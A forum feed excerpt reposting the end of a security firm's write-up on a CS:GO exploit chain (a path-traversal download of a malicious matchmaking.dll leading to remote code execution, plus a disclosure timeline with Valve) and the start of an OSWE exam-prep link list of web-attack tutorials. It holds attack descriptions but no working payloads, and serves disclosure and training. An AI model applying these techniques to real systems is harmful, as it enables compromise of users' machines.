						<img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="client.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/client.svg" />
					</div>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					<code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">&lt;startup&gt;</code>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					Invalid signature check for overwritten<span> </span><code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">bin/client.dll</code>.<br style="border-color:#e5e7eb;border-style:solid;border-width:0px;" />
					Fallback to<code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">insecure</code><span> </span>and load of overwritten<span> </span><code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">gameinfo.txt</code>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#bug-4-fallback-to-disabled-signature-checks" style="border-color:#e5e7eb;border-style:solid;border-width:0px;" rel="external nofollow">Bug 4</a>
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px thin;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<div style="border-color:#e5e7eb;border-style:solid;border-width:0px;">
						<img data-ratio="100.00" style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:middle;" width="150" alt="client.svg" src="https://neodyme.io/blog/csgo_from_zero_to_0day/client.svg" />
					</div>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					<code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">&lt;startup&gt;</code>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em;vertical-align:baseline;">
					Search in<span> </span><code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">SearchPaths</code><span> </span>for<span> </span><code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">matchmaking.dll</code><span> </span>results in DLL found in<span> </span><code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">exploit/bin/matchmaking.dll</code>.<br style="border-color:#e5e7eb;border-style:solid;border-width:0px;" />
					<code style="border-color:#e5e7eb;border-style:solid;border-width:0px;font-size:0.888889em;">LoadLibraryA</code><span> </span>of malicious, attacker controlled DLL and RCE
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					 
				</td>
			</tr>
		</tbody>
	</table>

	<table>
		<tbody>
			<tr>
				<td>
					 
				</td>
			</tr>
		</tbody>
	</table>

	<h2>
		Video
	</h2>

	<p>
		We provide a video of the above outlined chain of the four logic bugs (see below). If you stop the video at 00:29 seconds you can notice interesting output in the CS:GO console and in the exploit server:
	</p>

	<p>
		 
	</p>

	<ul>
		<li>
			The leaked GAMEBIN: f:\spiele\steam\steamapps\common\couter-strike global offensive\csgo\bin is retrieved from the exploit server
		</li>
	</ul>

	<p>
		 
	</p>

	<ul>
		<li>
			The CS:GO console shows the very long downloaded files, which succeed for the ././[..]/bin/matchmaking.dll.stf ././[..]/gameinfo.txt.stf files. As described above, the .stf extension is stripped during the download, resulting in the download of matchmaking.dll and gameinfo.txt.
		</li>
	</ul>

	<p>
		 
	</p>

	<p>
		Link: <a href="https://neodyme.io/blog/csgo_from_zero_to_0day/poc_rce.mp4" rel="external nofollow">https://neodyme.io/blog/csgo_from_zero_to_0day/poc_rce.mp4</a>
	</p>

	<h2>
		Closing Thoughts
	</h2>

	<p>
		Often people ask us how much time we spent on building this exploit chain. Unfortunately, we can not determine the total time spent. For weeks, we met on Discord in the evening to exchange ideas, programm together and analyze our findings until late in the morning. Alain at that time had roughly 250 hours of gameplay in CS:GO and had not played a single online match. We found the bugs “relatively” quickly, but for their bug bounty program, Valve requires a full-chain exploit demonstrating RCE impact. Without the elaborate demonstration, the research would have been completed after 30% of the time. Hence, we invested quite some time in our RCE demonstration.
	</p>

	<p>
		 
	</p>

	<p>
		Speaking of Valve: We became aware of Valve’s high payouts for CS:GO through <a href="https://hackerone.com/reports/351014" rel="external nofollow">various</a> and <a href="https://hackerone.com/reports/542180" rel="external nofollow">simple looking</a> HackerOne reports. The reports at the time only needed to demonstrate memory corruption to get the full payout. Our initial euphoria quickly sank after our three different reports were quickly declared valid, but still not fixed even after 13 months and multiple requests. After a lot of pressure and the threat of full disclosure, the bugs were finally fixed. The payout was 7.5k per bug, less than we expected. All in all a sobering experience.
	</p>

	<p>
		 
	</p>

	<p>
		For us the CS:GO bug bounty journey was the first time we invested weeks of time into a project together. The takeaways for us personally were mainly:
	</p>

	<p>
		 
	</p>

	<ul>
		<li>
			Don’t look for cricitial bugs and quick wins only.
		</li>
		<li>
			Chain your bugs to unveal their full potential.
		</li>
		<li>
			Keep your eyes open for edge cases and things devs didn’t think about.
		</li>
		<li>
			Try harder! If run against a wall search for the hole and don’t give up early.
		</li>
	</ul>

	<p>
		 
	</p>

	<h2>
		Timeline
	</h2>

	<table style="background-color:#171717;border-collapse:collapse;border-color:inherit;border-style:solid;border-width:0px;color:#d1d5db;font-size:0.888889em;text-align:left;">
		<thead style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
			<tr style="border-color:#e5e7eb;border-style:solid;border-width:0px;">
				<th style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:bottom;">
					Date
				</th>
				<th style="border-color:#e5e7eb;border-style:solid;border-width:0px;vertical-align:bottom;">
					Action
				</th>
			</tr>
		</thead>
		<tbody style="border-color:#e5e7eb;border-style:solid;border-width:0px;">
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">01.03.2020</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					We send the initial Report with PoC video and exploit setup
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">01.03.2020</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					H1 has troubles to reproduce the issue
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">03.03.2020</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					We provide an exploit Docker setup for easier reproducability
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">06.03.2020</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					H1 still has troubles to reproduce the issue
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">21.03.2020</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					We provide a full server setup with OpenVPN for even easier reproducability
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">21.03.2020</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					H1 successfully reproduces the issue(s) and marks the report as triaged
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">01.06.2020</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					We ask for an update
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">03.06.2020</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					H1 states they are still looking into the report
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">18.09.2020</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					We ask for an update, as a total of half a year has passed by
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">22.10.2020</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					We ask again for an update
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">27.10.2020</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					H1 states that Valve is still looking into the reports
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">01.03.2021</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					We say “Happy Anniversary” and ask for an update
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">March 2021</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					We contact other researchers who submitted bugs to Valve and think about complaining in our reports as collective
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">22.04.2021</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					We write a statement about our dissatisfaction with the process and “reserve the right to disclose the findings in the upcoming weeks”
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">26.04.2021</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					H1 states that they flagged the report to “internal managers” and try to speed up the process
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">30.04.2021</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					We notice that the issues have been fixed and ask for coordinated disclosure with Valve
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px 0px 1px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">01.05.2021</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					H1 says “Thanks for the report” and we receive our bounty
				</td>
			</tr>
			<tr style="border-left-color:#e5e7eb;border-right-color:#e5e7eb;border-style:solid;border-top-color:#e5e7eb;border-width:0px;">
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0.75em 0.75em 0px;vertical-align:baseline;">
					<strong style="border-color:#e5e7eb;border-style:solid;border-width:0px;">29.03.2022</strong>
				</td>
				<td style="border-color:#e5e7eb;border-style:solid;border-width:0px;padding:0.75em 0px 0.75em 0.75em;vertical-align:baseline;">
					We request report disclosure, no response so far
				</td>
			</tr>
		</tbody>
	</table>

	<p>
		 
	</p>

	<p>
		 
	</p>

	<p>
		Source: <a href="https://neodyme.io/blog/csgo_from_zero_to_0day/" rel="external nofollow">https://neodyme.io/blog/csgo_from_zero_to_0day/</a>
	</p>
</div>
]]></description><guid isPermaLink="false">116747</guid><pubDate>Tue, 16 May 2023 12:55:29 +0000</pubDate></item><item><title>OSWE/AWAE Preparation</title><link>https://rstforums.com/forum/topic/113644-osweawae-preparation/</link><description><![CDATA[<h1>
	OSWE/AWAE Preparation
</h1>

<p>
	<span>Jan 22, 2020<br />
	<a href="https://z-r0crypt.github.io/categories/web" rel="external nofollow">Web</a><a href="https://z-r0crypt.github.io/categories/exploit-development" rel="external nofollow">Exploit Development</a> </span> <span style="color:#C0C0C0;">Share on: </span>
</p>

<div>
	<div title="Share this on Facebook">
		
	</div>
</div>

<div title="Share this on Twitter">
	
</div>

<div title="Share this on Linkedin">
	
</div>

<div title="Share this on Google Plus">
	
</div>

<div title="Share this through Email">
	
</div>

<div>
	 
</div>

<p>
	<em>updated Content AWAE1.5</em>
</p>

<h2>
	OSWE Exam Preparation
</h2>

<p>
	This post contains all trainings and tutorials that could be useful for offensive security’s OSWE certification. I will be updating the post during my lab and preparation for the exam.
</p>

<h3>
	Course Syllabus:
</h3>

<p>
	<a href="https://www.offensive-security.com/documentation/awae-syllabus.pdf" rel="external nofollow">https://www.offensive-security.com/documentation/awae-syllabus.pdf</a>
</p>

<h3>
	Before registering for AWAE Lab:
</h3>

<ul>
	<li>
		<a href="https://requests.readthedocs.io/en/master/" rel="external nofollow">Get comfortable with python requests library</a>
	</li>
	<li>
		<a href="https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting-ebook/dp/B005LVQA9S" rel="external nofollow">Read Web Application Hacker’s handbook, again if you already did</a>
	</li>
	<li>
		<a href="https://portswigger.net/burp/communitydownload" rel="external nofollow">Get familiar with Burpsuite</a>
	</li>
	<li>
		<a href="https://regex101.com/" rel="external nofollow">Get familiar with regex</a>
	</li>
	<li>
		<a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/" rel="external nofollow">Get hands on with OWASP top 10 2017 Vulnerabilities</a>
		<ul>
			<li>
				<a href="https://owasp.org/www-project-vulnerable-web-applications-directory/" rel="external nofollow">Vulnerable Apps for practice on OWASP</a>
			</li>
			<li>
				<a href="https://portswigger.net/web-security" rel="external nofollow">Portswigger WebSecAcademy</a>
			</li>
		</ul>
	</li>
	<li>
		<a href="https://owasp.org/www-project-security-knowledge-framework/" rel="external nofollow">Practice code review skills - OWASP SKF</a>
	</li>
</ul>

<hr />
<h3>
	Before registering for the OSWE Exam:
</h3>

<ul>
	<li>
		<h4>
			XSS to RCE
		</h4>

		<ul>
			<li>
				<a href="https://www.exploit-db.com/exploits/20009" rel="external nofollow">AtMail Email Server Appliance 6.4 - Persistent Cross-Site Scripting</a>
			</li>
			<li>
				<a href="https://rhinosecuritylabs.com/application-security/labkey-server-vulnerabilities-to-rce/" rel="external nofollow">Chaining XSS, CSRF to achieve RCE</a>
			</li>
			<li>
				<a href="https://sarthaksaini.com/2019/awae/xss-rce.html" rel="external nofollow">Code analysis to gaining RCE</a>
			</li>
			<li>
				<a href="https://blog.ripstech.com/2019/magento-rce-via-xss/" rel="external nofollow">Magento 2.3.1: Unauthenticated Stored XSS to RCE</a>
			</li>
			<li>
				<a href="https://medium.com/@knownsec404team/the-analysis-of-mybb-18-20-from-stored-xss-to-rce-7234d7cc0e72" rel="external nofollow">Mybb 18.20 From Stored XSS to RCE</a>
			</li>
		</ul>
	</li>
	<li>
		<h4>
			Bypassing File Upload Restrictions:
		</h4>

		<ul>
			<li>
				<a href="https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf" rel="external nofollow">[Paper] File Upload Restrictions Bypass</a>
			</li>
			<li>
				<a href="http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html" rel="external nofollow">Shell the web - Methods of a Ninja</a>
			</li>
			<li>
				<a href="https://www.owasp.org/index.php/Unrestricted_File_Upload" rel="external nofollow">Unrestricted File Upload</a>
			</li>
			<li>
				<a href="https://www.corben.io/atlassian-crowd-rce/" rel="external nofollow">Atlassian Crowd Pre-auth RCE</a>
			</li>
			<li>
				<a href="https://www.youtube.com/watch?v=NMGsnPSm8iw" rel="external nofollow">Popcorn machine from HackTheBox</a>
			</li>
			<li>
				<a href="https://www.youtube.com/watch?v=LfbwlPxToBc" rel="external nofollow">Vault machine from HackTheBox</a>
			</li>
		</ul>
	</li>
	<li>
		<h4>
			Authentication Bypass to RCE
		</h4>

		<ul>
			<li>
				<a href="https://rebraws.github.io/ATutorAuthBypass/" rel="external nofollow">ATutor 2.2.1 Authentication Bypass</a>
			</li>
			<li>
				<a href="https://srcincite.io/advisories/src-2016-0009/" rel="external nofollow">ATutor LMS password_reminder TOCTOU Authentication Bypass</a>
			</li>
			<li>
				<a href="https://www.exploit-db.com/exploits/39639" rel="external nofollow">ATutor 2.2.1 - Directory Traversal / Remote Code Execution</a>
			</li>
			<li>
				<a href="https://blog.ripstech.com/2018/cubecart-admin-authentication-bypass/" rel="external nofollow">Cubecart Admin Authentication Bypass</a>
			</li>
			<li>
				<a href="https://underdefense.com/n-day-exploit-development-and-upgrade-to-rce/" rel="external nofollow">Trendmicro smart protection bypass to RCE</a>
			</li>
		</ul>
	</li>
	<li>
		<h4>
			Password Reset Vulnerability
		</h4>

		<ul>
			<li>
				<a href="http://imranparay.blogspot.com/2018/09/testing-password-reset-functionalities.html" rel="external nofollow">Testing Password rest functionalities</a>
			</li>
			<li>
				<a href="https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html" rel="external nofollow">OWASP - Forgot Password Cheatsheet</a>
			</li>
			<li>
				<a href="https://blog.appsecco.com/mass-account-pwning-or-how-we-hacked-multiple-user-accounts-using-weak-reset-tokens-for-passwords-c2d6c0831377" rel="external nofollow">How we hacked multiple user accounts using weak reset tokens for passwords</a>
			</li>
		</ul>
	</li>
	<li>
		<h4>
			SQL Injection:
		</h4>

		<ul>
			<li>
				<a href="https://medium.com/@notsoshant/a-not-so-blind-rce-with-sql-injection-13838026331e" rel="external nofollow">RCE with SQL Injection - MSSQL</a>
			</li>
			<li>
				<a href="https://medium.com/bugbountywriteup/sql-injection-to-lfi-to-rce-536bed29a862" rel="external nofollow">SQL Injection to LFI to RCE - MySQL</a>
			</li>
			<li>
				<a href="https://pentesterlab.com/exercises/from_sqli_to_shell_II/course" rel="external nofollow">From SQLi to SHELL (I and II) - PentesterLab</a>
			</li>
			<li>
				<a href="https://blog.ripstech.com/2019/oxid-esales-shop-software/" rel="external nofollow">Pre-Auth Takeover of OXID eShops</a>
			</li>
			<li>
				<a href="https://www.acunetix.com/websitesecurity/blind-sql-injection/" rel="external nofollow">Blind SQL Injection</a>
			</li>
			<li>
				<a href="https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf" rel="external nofollow">[Paper] PostgreSQL Injection</a>
			</li>
			<li>
				<a href="http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt" rel="external nofollow">Having Fun With PostgreSQL</a>
			</li>
			<li>
				<a href="https://dotcppfile.wordpress.com/2014/07/12/blind-postgresql-sql-injection-tutorial/" rel="external nofollow">Blind Postgresql Sql Injection Tutorial</a>
			</li>
			<li>
				<a href="http://pentestmonkey.net/category/cheat-sheet/sql-injection" rel="external nofollow">SQL Injection Cheat Sheet - PentestMonkey</a>
			</li>
			<li>
				<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection" rel="external nofollow">SQL Injection Cheat Sheet - PayloadAllTheThings</a>
			</li>
			<li>
				<a href="https://blog.ripstech.com/2019/dotcms515-sqli-to-rce/" rel="external nofollow">Exploiting H2 SQL injection to RCE</a>
			</li>
		</ul>
	</li>
	<li>
		<h4>
			JavaScript Injection:
		</h4>

		<ul>
			<li>
				<a href="https://ckarande.gitbooks.io/owasp-nodegoat-tutorial/content/tutorial/a1_-_server_side_js_injection.html" rel="external nofollow">Server Side JS Injection</a>
			</li>
			<li>
				<a href="https://capacitorset.github.io/mathjs/" rel="external nofollow">Remote Code Execution in math.js</a>
			</li>
			<li>
				<a href="https://itnext.io/how-i-exploited-a-remote-code-execution-vulnerability-in-fast-redact-9e69fa35572f" rel="external nofollow">Arbitrary code execution in fast-redact</a>
			</li>
			<li>
				<a href="https://rhinosecuritylabs.com/application-security/nvidia-rce-cve-2019-5678/" rel="external nofollow">NVIDIA GeForce Experience OS Command Injection - CVE-2019-5678</a>
			</li>
			<li>
				<a href="https://idiallo.com/javascript/settimeout-and-setinterval-and-setevil" rel="external nofollow">SetTimeout and SetInterval use eval therefore are evil</a>
			</li>
			<li>
				<a href="https://www.websecgeeks.com/2017/04/pentesting-nodejs-application-nodejs.html" rel="external nofollow">Pentesting Node.js Application : Nodejs Application Security</a>
			</li>
			<li>
				<a href="https://maikthulhu.github.io/2019-05-17-remote-debugging-node-vscode/" rel="external nofollow">NodeJS remote debugging with vscode</a>
			</li>
			<li>
				<a href="https://blog.netspi.com/escape-nodejs-sandboxes/" rel="external nofollow">Escape NodeJS Sandboxes</a>
			</li>
		</ul>
	</li>
	<li>
		<h4>
			PHP Type Juggling:
		</h4>

		<ul>
			<li>
				<a href="https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf" rel="external nofollow">OWASP - PHPMagicTricks TypeJuggling</a>
			</li>
			<li>
				<a href="https://medium.com/@Q2hpY2tlblB3bnk/php-type-juggling-c34a10630b10" rel="external nofollow">PHP Type Juggling - Introduction</a>
			</li>
			<li>
				<a href="https://foxglovesecurity.com/2017/02/07/type-juggling-and-php-object-injection-and-sqli-oh-my/" rel="external nofollow">Type Juggling, PHP Object Injection, SQLi</a>
			</li>
			<li>
				<a href="http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html" rel="external nofollow">Writing Exploits For PHP Type Juggling</a>
			</li>
			<li>
				<a href="https://www.netsparker.com/blog/web-security/type-juggling-authentication-bypass-cms-made-simple/" rel="external nofollow">Type Juggling Authentication Bypass Vulnerability in CMS Made Simple</a>
			</li>
			<li>
				<a href="https://www.whitehatsec.com/blog/magic-hashes/" rel="external nofollow">PHP Magic Hashes</a>
			</li>
			<li>
				<a href="https://www.netsparker.com/blog/web-security/php-type-juggling-vulnerabilities/" rel="external nofollow">Detailed Explanation of PHP Type Juggling Vulnerabilities</a>
			</li>
			<li>
				<a href="https://www.youtube.com/watch?v=ASYuK01H3Po" rel="external nofollow">[Video] PHP Type Juggling Vulnerabilities, Netsparker</a>
			</li>
			<li>
				<a href="https://www.youtube.com/watch?v=CUbWpteTfio" rel="external nofollow">[Video] Falafel machine from HackTheBox</a>
			</li>
		</ul>
	</li>
	<li>
		<h4>
			Deserialization:
		</h4>

		<ul>
			<li>
				<a href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html" rel="external nofollow">Deserialization_Cheat_Sheet</a>
			</li>
			<li>
				<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Deserialization" rel="external nofollow">Insecure deserialization - PayloadAllthethings</a>
			</li>
			<li>
				<a href="https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf" rel="external nofollow">[Paper] Deserialization Vulnerability</a>
			</li>
			<li>
				<a href="https://klezvirus.github.io/The_Big_Problem_of_Serialisation/" rel="external nofollow">Serialization : A Big Threat</a>
			</li>
			<li>
				<h5>
					JAVA Deserialization
				</h5>

				<ul>
					<li>
						<a href="https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/" rel="external nofollow">Understanding &amp; practicing java deserialization exploits</a>
					</li>
					<li>
						<a href="https://nytrosecurity.com/2018/05/30/understanding-java-deserialization/" rel="external nofollow">Understanding JAVA Deserialization</a>
					</li>
					<li>
						<a href="https://www.n00py.io/2017/11/exploiting-blind-java-deserialization-with-burp-and-ysoserial/" rel="external nofollow">Exploiting blind Java deserialization with Burp and Ysoserial</a>
					</li>
					<li>
						<a href="https://www.thezdi.com/blog/2020/5/8/details-on-the-oracle-weblogic-vulnerability-being-exploited-in-the-wild" rel="external nofollow">Details on Oracle Web Logic Desrialization</a>
					</li>
					<li>
						<a href="https://medium.com/@knownsec404team/analysis-of-weblogic-deserialization-vulnerability-cve-2018-2628-164bbed7a71d" rel="external nofollow">Analysis of Weblogic Deserialization</a>
					</li>
					<li>
						<a href="https://www.youtube.com/watch?v=VviY3O-euVQ" rel="external nofollow">[Video] Matthias Kaiser - Exploiting Deserialization Vulnerabilities in Java</a>
					</li>
				</ul>
			</li>
			<li>
				<h5>
					.NET Deserialization
				</h5>

				<ul>
					<li>
						<a href="https://www.nccgroup.trust/globalassets/our-research/uk/images/whitepaper-new.pdf" rel="external nofollow">Use of Deserialization in .NET Framework Methods and Classes.</a>
					</li>
					<li>
						<a href="https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/" rel="external nofollow">Exploiting Deserialisation in ASP.NET via ViewState</a>
					</li>
					<li>
						<a href="https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui" rel="external nofollow">Remote Code Execution via Insecure Deserialization in Telerik UI</a>
					</li>
					<li>
						<a href="https://www.youtube.com/watch?v=oUAeWhW5b8c" rel="external nofollow">[Video] Friday the 13th: JSON Attacks - BlackHat</a>
					</li>
					<li>
